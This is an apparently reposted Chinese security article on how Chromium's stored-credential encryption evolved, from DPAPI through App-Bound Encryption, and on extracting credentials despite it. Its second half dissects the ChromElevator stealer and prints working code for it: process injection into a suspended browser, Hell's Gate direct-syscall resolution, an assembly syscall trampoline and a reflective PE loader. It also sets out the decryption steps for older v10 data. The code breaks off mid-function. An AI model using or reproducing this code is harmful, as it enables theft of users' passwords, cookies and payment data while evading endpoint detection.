Chromium数据加密演进和ABE保护下的浏览器凭据提取

admin 2026-05-01 05:43:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Chromium浏览器数据加密的演进历程,从Chrome80之前使用DPAPI逐条加密,到Chrome80引入Oscrypt与V10密文格式,再到Chrome127引入App-BoundEncryption(ABE)机制。ABE通过双层DPAPI、路径验证、信封加密和COM服务构建了四层防御,显著提升了同用户进程提取凭据的难度。文章还探讨了在ABE保护下,通过进程注入(如Chromelevator项目)或直接解密(需管理员权限并逆向信封密钥)两种主流凭据提取思路,并指出Chrome136版本封堵了远程调试端口的提取路径。 综合评分: 87 文章分类: 恶意软件,逆向分析,应用安全,终端安全,红队


cover_image

Chromium数据加密演进和ABE保护下的浏览器凭据提取

原创

网络保安29 网络保安29

红蓝攻防研究实验室

2026年4月30日 16:37 北京

在小说阅读器读本章

去阅读

一、Chromium 数据加密演进

Chrome 80 之前:DPAPI 逐条加密

Chrome 80 之前,浏览器对保存密码的保护方案极为简单,每条密码在写入 Login Data SQLite 数据库之前,单独调用一次 Windows CryptProtectData 进行加密。该函数属于 Windows Data Protection API(DPAPI),其底层使用一个从当前用户登录凭据派生的主密钥来保护数据,主密钥存储在 %APPDATA%\Microsoft\Protect\<用户SID>\ 目录中。

DPAPI 能保证的是不同 Windows 用户之间的隔离,用户 A 加密的数据,用户 B 无法解密,但它对同一用户身份下的进程不做任何区分。任何以用户 A 身份运行的进程都可以无障碍调用 CryptUnprotectData,解密该用户的所有 DPAPI 加密数据。因此,凭据提取在这一时期没有任何技术挑战,攻击者只需要打开数据库文件,逐条读取 password_value 字段,调用 CryptUnprotectData,即可获得全部明文密码。整个过程无需管理员权限,无需绕过任何安全机制。

当时主流 Windows 浏览器普遍采用 DPAPI 方案,因为这是微软在平台上推荐的做法。问题出在 DPAPI 的威胁模型本身,它只防跨用户访问,不防同用户进程。

Chrome 80:OSCrypt 与 v10 密文格式

Chrome 80 引入了 OSCrypt 组件,建立了两级密钥架构。浏览器在首次运行时随机生成一个 32 字节的 AES-256 密钥,作为加密所有凭据的总密钥。此后,密码、Cookie 等数据统一使用 AES-256-GCM 算法加密。密钥本身则通过 CryptProtectData 加密,经 Base64 编码后存入 Local State 配置文件的 os_crypt.encrypted_key 字段。编码后的值以 5 字节 ASCII 前缀 “DPAPI” 开头,其后为 DPAPI 密文。

加密后的用户数据以 “v10” 作为版本标识。完整格式为:3 字节 “v10” 前缀,12 字节 GCM Nonce,可变长度的 AES-256-GCM 密文,末尾 16 字节 GCM 认证标签。OSCrypt 的架构改进在于引入了标准化加密组件和 AES-256-GCM 算法,Cookie 也被纳入了加密范围。但核心问题并未解决,凭据加密密钥仍然仅受一层 DPAPI 保护,同用户进程只需一次 CryptUnprotectData 调用即可获得。与逐条 DPAPI 加密的前代相比,集中式密钥管理反而使攻击步骤更少,一次 DPAPI 解密后即可批量处理所有凭据数据。

这一时期出现了大量开源凭据提取工具,将此类攻击降低到了脚本级别。凭据提取步骤为:读取 Local State,Base64 解码 encrypted_key,去掉 “DPAPI” 前缀,CryptUnprotectData 获取 AES 密钥,再对数据库中所有 v10 数据执行 AES-256-GCM 解密。

Chrome 127:App-Bound Encryption

2024 年 7 月,Google 安全博客发文正式宣布 App-Bound Encryption(ABE)。这是 Chromium 凭据保护体系迄今为止最大规模的架构变更,首次从机制上尝试阻断同用户进程的随意解密。

ABE 引入了一个以 SYSTEM 权限运行的 COM 服务 elevation_service,随 Chrome 安装在 Program Files 目录。该服务对外暴露 IElevator 接口,提供 EncryptData 和 DecryptData 两个方法。Chrome 不再自行管理密钥加解密,而是委托给 elevation_service 执行。

加密过程中,Chrome 首先生成随机 32 字节 AES-256 密钥(app_bound_key),调用 IElevator::EncryptData 将其交给 elevation_service。服务端执行四个步骤:

1、获取调用者进程的可执行文件路径,经 MaybeTrimProcessPath 函数规范化后作为验证数据保存,该函数去掉文件名、版本号目录、Application/Temp 后缀,统一 Program Files (x86) 为 Program Files。

2、对 app_bound_key 执行信封加密(PostProcessData),使用编译时硬编码在 elevation_service.exe 中的密钥,按 flag 字段选择 AES-256-GCM、ChaCha20-Poly1305 或 NCrypt+XOR+AES-GCM 三种方案之一。

3、将验证数据与加密后的密钥拼接,先在用户上下文中执行 CryptProtectData(内层 DPAPI),再在 SYSTEM 上下文中执行 CryptProtectData(外层 DPAPI),构成双层 DPAPI 包装。

4、Base64 编码并添加”APPB” 前缀,存入 Local State 的 os_crypt.app_bound_encrypted_key 字段。

ABE 加密的数据使用 “v20” 版本前缀,格式与 v10 结构一致:3 字节 “v20″,12 字节 Nonce,AES-256-GCM 密文,16 字节认证标签。Cookie 解密结果前 32 字节为元数据头部,实际值从偏移 32 开始。

解密时,Chrome 会调用 IElevator::DecryptData,由 elevation_service 进行解密。服务端执行四个步骤:

1、先剥去外层 SYSTEM-DPAPI(仅服务自身能执行,因其以 SYSTEM 身份运行)。

2、再剥去内层用户 DPAPI(通过 ScopedClientImpersonation 模拟调用用户)。

3、随后提取验证数据,获取当前调用者进程路径,规范化后与存储路径比对,验证当前请求解密的程序和当初加密数据的程序是否一致。

4、匹配则继续解密 PostProcessData 层,最终返回明文 app_bound_key,不匹配则返回 E_ACCESSDENIED。

ABE 的四层防御——双层 DPAPI、路径验证、信封加密、COM 服务守门,使同用户进程无法再通过简单的 CryptUnprotectData 获取密钥。而且普通用户进程不具备 SYSTEM 层 DPAPI 解密所需要的令牌。

Chrome 127 的 ABE 保护范围仅覆盖 Cookie。升级后的配置文件中,旧的 v10 条目与新的 v20 条目可能共存,OSCrypt 会遍历不同密钥代理逐一尝试解密。Chrome 130 将 ABE 保护扩展到密码和支付数据(信用卡、CVC、IBAN),所有凭据类型统一纳入 ABE 体系。

Chrome 136:远程调试端口限制

Chrome 136 封堵了另外一条凭据提取路径。此前,攻击者可以使用 –remote-debugging-port 参数启动 Chrome,通过 Chrome DevTools Protocol 直接读取内存中的 Cookie,完全绕过了文件层面的加密保护。从该版本起,此参数不再适用于默认用户数据目录,必须额外指定 –user-data-dir 强制使用独立配置文件(不含用户实际凭据)。

二、ABE 保护下的凭据提取

目前网上有两个主流的凭据提取思路:进程注入和直接解密。

在 ABE 机制下,除了两层 DPAPI 保护,elevation_service 内部还对凭据的加密密钥进行了一层信封加密,只有通过 elevation_service 的路径校验,确保请求解密的进程跟当初加密的进程(chrome.exe)是同一进程,服务才会返回解密后的密钥。进程注入的方式就是为了通过这个校验,并且不需要管理员权限,因为两层 DPAPI 解密也是由 elevation_service 执行。

如果不通过 elevation_service 进行解密,而是直接自行解密,那就不需要过路径验证,但这种情况需要逆向出 elevation_service 内部的信封解密密钥。并且为了解开 system 层面的 DPAPI 加密,还需要管理员权限。

1 进程注入(普通用户权限)

这是最直接的方案,攻击者将 paylaod 注入到 chrome.exe 进程空间内,注入的代码继承 chrome.exe 的完整进程身份,调用 CoCreateInstance 获取 IElevator 接口后执行 DecryptData,路径验证通过,app_bound_key 明文返回。整个过程在用户态完成,无需管理员权限。

ChromElevator (Chrome App-Bound Encryption Decryption) 项目就是这个原理,该项目通过创建挂起进程 + 写入 paylaod 内存的方式进行注入(项目说明中 Process Hollowing 的说法不严谨),还采用了反射加载PE和直接系统调用来规避检测,下面直接对这个项目的技术原理进行剖析。

ChromElevator 采用两阶段架构设计。第一阶段是注入器程序 chromelevator.exe,它负责创建挂起的浏览器进程、将 Payload DLL 注入其中,并通过命名管道等待数据回传。第二阶段是被注入的 Payload DLL,它在浏览器进程内部运行,负责调用 COM 接口获取主密钥、读取 SQLite 数据库并执行 AES-256-GCM 解密。

注入器通过注册表查询浏览器安装路径,然后创建一个处于挂起状态的浏览器进程,再通过直接系统调用在目标进程内存中分配空间,写入加密的 Payload DLL 并创建远程线程。远程线程的入口点是 Payload DLL 中导出的 Bootstrap 函数,这个函数实现了一个完整的反射 PE 加载器,加载完成后调用 DllMain,Payload 开始执行数据提取工作,最终通过命名管道将解密结果回传给注入器。

// injector_main.cpp 中处理单个浏览器的完整提取流程void&nbsp;ProcessBrowser(const&nbsp;BrowserInfo& browser,&nbsp;bool&nbsp;verbose,&nbsp;bool&nbsp;fingerprint,&nbsp;bool&nbsp;killFirst,const&nbsp;std::filesystem::path& output,&nbsp;const&nbsp;Core::Console& console, GlobalStats& stats) {&nbsp; &nbsp;&nbsp;// 如果指定了 --kill,先终止所有该浏览器的运行中进程&nbsp; &nbsp;&nbsp;if&nbsp;(killFirst) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;BrowserTerminator&nbsp;terminator(console);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;termStats = terminator.KillByExeName(browser.exeName, opts);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 以挂起状态创建浏览器进程&nbsp; &nbsp;&nbsp;ProcessManager&nbsp;procMgr(browser);&nbsp; &nbsp; procMgr.CreateSuspended();&nbsp; &nbsp;&nbsp;// 创建 IPC 命名管道,用于与注入的 payload 通信&nbsp; &nbsp;&nbsp;PipeServer&nbsp;pipe(browser.type);&nbsp; &nbsp; pipe.Create();&nbsp; &nbsp;&nbsp;// 注入 payload 到浏览器进程&nbsp; &nbsp;&nbsp;PayloadInjector&nbsp;injector(procMgr, console);&nbsp; &nbsp; injector.Inject(pipe.GetName());&nbsp; &nbsp;&nbsp;// 等待 payload 连接到管道并发送配置&nbsp; &nbsp; pipe.WaitForClient();&nbsp; &nbsp; pipe.SendConfig(verbose, fingerprint, output);&nbsp; &nbsp; pipe.ProcessMessages(verbose);&nbsp; &nbsp;&nbsp;// 终止浏览器进程&nbsp; &nbsp; procMgr.Terminate();}// injector.cpp 中的注入流程核心void&nbsp;PayloadInjector::Inject(const&nbsp;std::wstring& pipeName)&nbsp;{&nbsp; &nbsp;&nbsp;// 解密 payload&nbsp; &nbsp;&nbsp;LoadAndDecryptPayload();&nbsp; &nbsp;&nbsp;// 解析 Bootstrap 导出函数偏移&nbsp; &nbsp; DWORD offset =&nbsp;GetExportOffset("Bootstrap");&nbsp; &nbsp;&nbsp;// 通过 syscall 在目标进程分配内存&nbsp; &nbsp; SIZE_T totalSize = payloadSize + pipeNameSize;&nbsp; &nbsp;&nbsp;NtAllocateVirtualMemory_syscall(m_process.GetProcessHandle(), &remoteBase,&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &totalSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);&nbsp; &nbsp;&nbsp;// 写入 payload 和管道名&nbsp; &nbsp;&nbsp;NtWriteVirtualMemory_syscall(m_process.GetProcessHandle(), remoteBase,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;m_payload.data(), payloadSize, &written);&nbsp; &nbsp;&nbsp;NtWriteVirtualMemory_syscall(m_process.GetProcessHandle(), remotePipeName,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(PVOID)pipeName.c_str(), pipeNameSize, &written);&nbsp; &nbsp;&nbsp;// 设置内存保护为可执行&nbsp; &nbsp;&nbsp;NtProtectVirtualMemory_syscall(m_process.GetProcessHandle(), &remoteBase,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&totalSize, PAGE_EXECUTE_READ, &oldProtect);&nbsp; &nbsp;&nbsp;// 创建远程线程,入口为 Bootstrap&nbsp; &nbsp;&nbsp;uintptr_t&nbsp;entry =&nbsp;reinterpret_cast<uintptr_t>(remoteBase) + offset;&nbsp; &nbsp;&nbsp;NtCreateThreadEx_syscall(&hThread, THREAD_ALL_ACCESS,&nbsp;nullptr,&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m_process.GetProcessHandle(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (LPTHREAD_START_ROUTINE)entry, remotePipeName,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;nullptr);}

ChromElevator 在注入过程中,通过 Hell’s Gate 技术实现直接系统调用,ntdll.dll 中导出的 Zw* 函数按系统服务号顺序排列,通过解析导出表、收集所有 Zw* 函数地址并按地址升序排序,排序后的数组索引即为对应的系统服务号。

// internal_api.cpp 中的 Hell's Gate SSN 解析逻辑bool&nbsp;InitApi(bool)&nbsp;{&nbsp; &nbsp;&nbsp;// 获取 ntdll.dll 导出表&nbsp; &nbsp;&nbsp;auto&nbsp;pExportDir =&nbsp;reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(&nbsp; &nbsp;&nbsp;reinterpret_cast<uint8_t*>(hNtdll) +&nbsp;&nbsp; &nbsp; pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress&nbsp; &nbsp; );&nbsp; &nbsp;&nbsp;// 收集所有 Zw* 函数&nbsp; &nbsp; std::vector<SyscallMapping> sortedSyscalls;&nbsp; &nbsp;&nbsp;for&nbsp;(DWORD i =&nbsp;0; i < pExportDir->NumberOfNames; ++i) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;char* name =&nbsp;reinterpret_cast<const&nbsp;char*>(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;reinterpret_cast<uint8_t*>(hNtdll) + pNameRvas[i]&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(name && name[0] ==&nbsp;'Z'&nbsp;&& name[1] ==&nbsp;'w') {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PVOID addr =&nbsp;reinterpret_cast<PVOID>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;reinterpret_cast<uint8_t*>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sortedSyscalls.push_back({addr,&nbsp;runtime_hash(name)});&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 按地址排序 - SSN = 排序后的索引&nbsp; &nbsp; std::sort(sortedSyscalls.begin(), sortedSyscalls.end(),&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; [](const&nbsp;auto& a,&nbsp;const&nbsp;auto& b) {&nbsp;return&nbsp;a.address < b.address; }&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp;&nbsp;// 匹配目标函数,从排序位置获取 SSN&nbsp; &nbsp;&nbsp;for&nbsp;(WORD i =&nbsp;0; i < sortedSyscalls.size(); ++i) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(auto& target : targets) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(sortedSyscalls[i].hash == target.hash) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PVOID gadget =&nbsp;FindSyscallGadget(sortedSyscalls[i].address);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target.entry->pSyscallGadget = gadget;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; target.entry->ssn = i; &nbsp;// SSN = 索引位置&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

找到 SSN 后定位 syscall 指令的实际地址。代码会搜索未被 Hook 的 syscall;ret 指令序列。在 x64 架构上,这个序列的字节模式是 0F 05 C3。此外还实现了 JMP Hook 检测,遇到 E9 近跳转指令时会跳过后续字节继续搜索。实际的系统调用通过汇编跳板函数执行,跳板函数负责加载 SSN 到 EAX 寄存器、映射参数寄存器、复制栈参数,最后跳转到 syscall gadget 地址。

; syscall_trampoline_x64.asm&nbsp;中的 x64 Syscall 汇编跳板SyscallTrampoline PROC&nbsp; &nbsp; mov rbx, rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; rbx = SYSCALL_ENTRY 结构指针&nbsp; &nbsp; mov r10, rdx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; Syscall Arg1 ← C Arg2&nbsp; &nbsp; mov rdx, r8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; Syscall Arg2 ← C Arg3&nbsp; &nbsp; mov r8, &nbsp;r9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; Syscall Arg3 ← C Arg4&nbsp; &nbsp; movzx eax, word ptr [rbx+12] ; 加载 SSN&nbsp; &nbsp; mov r11, [rbx] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 加载 gadget 地址&nbsp; &nbsp; call r11 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 执行 syscall; ret&nbsp; &nbsp; retSyscallTrampoline ENDP

Bootstrap 函数是反射加载的入口点,通过获取当前指令地址并向下逐字节搜索 MZ 和 PE 签名来找到 DLL 的起始位置。定位基址后,Bootstrap 通过 PEB 获取 kernel32.dll 和 ntdll.dll 的加载地址,然后使用 Hell’s Gate 解析 NtAllocateVirtualMemory 和 NtProtectVirtualMemory 的 SSN,通过直接系统调用分配新内存,然后进行 PE 映射,复制 PE 头、逐节复制代码和数据节区、处理重定位表修正绝对地址、解析导入表填充 IAT。

最后 Bootstrap 通过直接系统调用设置各节区的内存保护属性,刷新指令缓存,调用 DllMain 启动 Payload 的实际工作流程。

// bootstrap.cppextern&nbsp;"C"&nbsp;DLLEXPORT ULONG_PTR WINAPI&nbsp;Bootstrap(LPVOID lpParameter)&nbsp;{&nbsp; &nbsp;&nbsp;//......&nbsp; &nbsp;&nbsp;// 寻找当前 DLL 基址&nbsp; &nbsp; base =&nbsp;GetIp();&nbsp;// 获取当前指令指针地址&nbsp; &nbsp;&nbsp;while&nbsp;(true) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 检查当前地址是否为MZ头&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;dos =&nbsp;reinterpret_cast<PIMAGE_DOS_HEADER>(base);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(dos->e_magic == IMAGE_DOS_SIGNATURE) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// MZ头找到后,进一步验证e_lfanew指向的PE头是否合法&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;nt =&nbsp;reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(nt->Signature == IMAGE_NT_SIGNATURE)&nbsp;break;&nbsp;// 双重验证通过,确认为合法PE文件&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; base--;&nbsp;// 未找到合法PE头,地址递减继续向上搜索&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 通过 TEB 获取 PEB&nbsp; &nbsp;&nbsp;// 遍历PEB中的模块链表,通过哈希匹配找到kernel32和ntdll&nbsp;&nbsp; &nbsp;&nbsp;// 解析ntdll中的直接syscall入口,如果无法找到syscall gadget(syscall指令位置),则无法绕过hook,退出&nbsp; &nbsp;&nbsp;// 从ntdll导出表中解析NtFlushInstructionCache,用于在修改代码段后刷新CPU指令缓存&nbsp; &nbsp;&nbsp;// 通过直接syscall分配内存.....省略&nbsp; &nbsp;&nbsp;// 复制PE头到新分配的内存&nbsp; &nbsp;&nbsp;auto&nbsp;src =&nbsp;reinterpret_cast<BYTE*>(base); &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;auto&nbsp;dst =&nbsp;reinterpret_cast<BYTE*>(newBaseAddr); &nbsp;&nbsp; &nbsp;&nbsp;for&nbsp;(DWORD i =&nbsp;0; i < oldNt->OptionalHeader.SizeOfHeaders; i++) {&nbsp; &nbsp; &nbsp; &nbsp; dst[i] = src[i];&nbsp;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 复制各节区数据到新内存的对应虚拟地址&nbsp; &nbsp;&nbsp;auto&nbsp;sec =&nbsp;IMAGE_FIRST_SECTION(oldNt);&nbsp;&nbsp; &nbsp;&nbsp;for&nbsp;(WORD i =&nbsp;0; i < oldNt->FileHeader.NumberOfSections; i++) {&nbsp; &nbsp; &nbsp; &nbsp; src =&nbsp;reinterpret_cast<BYTE*>(base + sec[i].PointerToRawData);&nbsp; &nbsp; &nbsp; &nbsp; dst =&nbsp;reinterpret_cast<BYTE*>(newBaseAddr + sec[i].VirtualAddress);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(DWORD j =&nbsp;0; j < sec[i].SizeOfRawData; j++) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dst[j] = src[j];&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp; DWORD entryPointRva = oldNt->OptionalHeader.AddressOfEntryPoint;&nbsp; &nbsp;&nbsp;// 处理重定位表&nbsp; &nbsp; ULONG_PTR delta = newBaseAddr - oldNt->OptionalHeader.ImageBase;&nbsp;&nbsp; &nbsp;&nbsp;auto&nbsp;relocDir = &oldNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];&nbsp; &nbsp;&nbsp;if&nbsp;(relocDir->Size >&nbsp;0&nbsp;&& delta !=&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;reloc =&nbsp;reinterpret_cast<PIMAGE_BASE_RELOCATION>(newBaseAddr + relocDir->VirtualAddress);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(reloc->VirtualAddress) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD count = (reloc->SizeOfBlock -&nbsp;sizeof(IMAGE_BASE_RELOCATION)) /&nbsp;sizeof(WORD);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;entry =&nbsp;reinterpret_cast<IMAGE_RELOC*>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;reinterpret_cast<ULONG_PTR>(reloc) +&nbsp;sizeof(IMAGE_BASE_RELOCATION));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(DWORD k =&nbsp;0; k < count; k++) {#if&nbsp;defined(_M_X64) ||&nbsp;defined(_M_ARM64)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(entry[k].type == IMAGE_REL_BASED_DIR64) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *reinterpret_cast<ULONG_PTR*>(newBaseAddr + reloc->VirtualAddress + entry[k].offset) += delta;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }#else&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(entry[k].type == IMAGE_REL_BASED_HIGHLOW) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *reinterpret_cast<DWORD*>(newBaseAddr + reloc->VirtualAddress + entry[k].offset) +=&nbsp;static_cast<DWORD>(delta);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }#endif&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reloc =&nbsp;reinterpret_cast<PIMAGE_BASE_RELOCATION>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;reinterpret_cast<ULONG_PTR>(reloc) + reloc->SizeOfBlock);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 处理导入表,加载依赖DLL并解析函数地址&nbsp; &nbsp;&nbsp;auto&nbsp;importDir = &oldNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];&nbsp; &nbsp;&nbsp;if&nbsp;(importDir->Size >&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;import&nbsp;=&nbsp;reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newBaseAddr + importDir->VirtualAddress);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(import->Name) {&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char* modName =&nbsp;reinterpret_cast<char*>(newBaseAddr +&nbsp;import->Name);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HINSTANCE hMod =&nbsp;pLoadLibraryA(modName);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hMod) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;origThunk =&nbsp;reinterpret_cast<PIMAGE_THUNK_DATA>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newBaseAddr +&nbsp;import->OriginalFirstThunk);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;thunk =&nbsp;reinterpret_cast<PIMAGE_THUNK_DATA>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newBaseAddr +&nbsp;import->FirstThunk);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!origThunk) origThunk = thunk;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(origThunk->u1.AddressOfData) {&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FARPROC func;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; func =&nbsp;pGetProcAddress(hMod,&nbsp;reinterpret_cast<LPCSTR>(origThunk->u1.Ordinal &&nbsp;0xFFFF));&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;auto&nbsp;ibn =&nbsp;reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; newBaseAddr + origThunk->u1.AddressOfData);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; func =&nbsp;pGetProcAddress(hMod, ibn->Name);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 将解析到的函数地址写入IAT对应位置&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunk->u1.Function =&nbsp;reinterpret_cast<ULONG_PTR>(func);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; origThunk++;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunk++;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import++;&nbsp;// 移动到下一个依赖DLL&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 